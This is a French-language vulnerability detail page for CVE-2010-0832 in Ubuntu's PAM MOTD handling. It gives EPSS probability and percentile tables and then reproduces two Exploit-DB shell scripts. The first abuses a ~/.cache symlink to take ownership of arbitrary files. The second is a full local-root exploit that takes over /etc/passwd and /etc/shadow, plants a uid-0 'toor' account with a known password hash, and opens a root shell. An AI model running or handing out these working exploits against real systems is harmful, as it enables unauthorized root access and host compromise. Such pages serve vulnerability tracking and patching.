CVE-2010-0832 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.05%	–
2023-04-23	–	–	–	0.05%	–
2023-06-11	–	–	–	0.05%	–
2023-07-30	–	–	–	0.05%	–
2023-09-17	–	–	–	0.05%	–
2023-09-24	–	–	–	0.05%	–
2023-10-01	–	–	–	0.05%	–
2023-10-15	–	–	–	0.05%	–
2023-10-22	–	–	–	0.05%	–
2023-12-03	–	–	–	0.05%	–
2024-03-10	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	1.57%
2025-03-30	–	–	–	–	0.44%
2025-04-15	–	–	–	–	0.44%
2025-04-15	–	–	–	–	0.44,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	15%
2023-04-23	13%
2023-06-11	17%
2023-07-30	15%
2023-09-17	16%
2023-09-24	15%
2023-10-01	16%
2023-10-15	15%
2023-10-22	16%
2023-12-03	15%
2024-03-10	–
2024-06-02	–
2024-06-02	–
2025-01-19	–
2025-03-18	8%
2025-03-30	6%
2025-04-15	62%
2025-04-15	62%

#!/bin/sh # # EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/14339/ # # Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation) # Date: July 7, 2010 # Author: Kristian Erik Hermansen <kristian.hermansen@gmail.com> # Software Link: http://packages.ubuntu.com/ # Version: pam-1.1.0 # Tested on: Ubuntu 10.04 LTS (Lucid Lynx) # CVE : CVE-2010-0832 # # Notes: Affects Ubuntu 9.10 and 10.04 LTS # [Patch Instructions] # $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i # if [ $# -eq 0 ]; then echo "Usage: $0 /path/to/file" exit 1 fi mkdir $HOME/backup 2> /dev/null tmpdir=$(mktemp -d --tmpdir=$HOME/backup/) mv $HOME/.cache/ $tmpdir 2> /dev/null echo "\n@@@ File before tampering ...\n" ls -l $1 ln -sf $1 $HOME/.cache echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :) File will then be owned by your user. Try /etc/passwd...\n"

#!/bin/bash # # Exploit Title: Ubuntu PAM MOTD local root # Date: July 9, 2010 # Author: Anonymous # Software Link: http://packages.ubuntu.com/ # Version: pam-1.1.0 # Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx) # CVE: CVE-2010-0832 # Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i # References: http://www.exploit-db.com/exploits/14273/ by Kristian Erik Hermansen # # Local root by adding temporary user toor:toor with id 0 to /etc/passwd & /etc/shadow. # Does not prompt for login by creating temporary SSH key and authorized_keys entry. # # user@ubuntu:~$ bash ubuntu-pam-motd-localroot.sh # [*] Ubuntu PAM MOTD local root # [*] Backuped /home/user/.ssh/authorized_keys # [*] SSH key set up # [*] Backuped /home/user/.cache # [*] spawn ssh # [+] owned: /etc/passwd # [*] spawn ssh # [+] owned: /etc/shadow # [*] Restored /home/user/.cache # [*] Restored /home/user/.ssh/authorized_keys # [*] SSH key removed # [+] Success! Use password toor to get root # Password: # root@ubuntu:/home/user# id # uid=0(root) gid=0(root) groupes=0(root) # P='toor:x:0:0:root:/root:/bin/bash' S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::' echo "[*] Ubuntu PAM MOTD local root" [ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1 [ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1 [ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1 backup() { [ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak [ -e "$1" ] || return 0 mv "$1"{,.bak} || return 1 echo "[*] Backuped $1" } restore() { [ -e "$1" ] && rm -rf "$1" [ -e "$1".bak ] || return 0 mv "$1"{.bak,} || return 1 echo "[*] Restored $1" } key_create() { backup ~/.ssh/authorized_keys ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1 [ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; } mv "$KEY.pub" ~/.ssh/authorized_keys || return 1 echo "[*] SSH key set up" } key_remove() { rm -f "$KEY" restore ~/.ssh/authorized_keys echo "[*] SSH key removed" } own() { [ -e ~/.cache ] && rm -rf ~/.cache ln -s "$1" ~/.cache || return 1 echo "[*] spawn ssh" ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true [ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; } echo "[+] owned: $1" } bye() { key_remove exit 1 } KEY="$(mktemp -u)" key_create || { echo "[-] Failed to setup SSH key"; exit 1; } backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; } own /etc/passwd && echo "$P" >> /etc/passwd own /etc/shadow && echo "$S" >> /etc/shadow restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; } key_remove echo "[+] Success! Use password toor to get root" su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \ chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor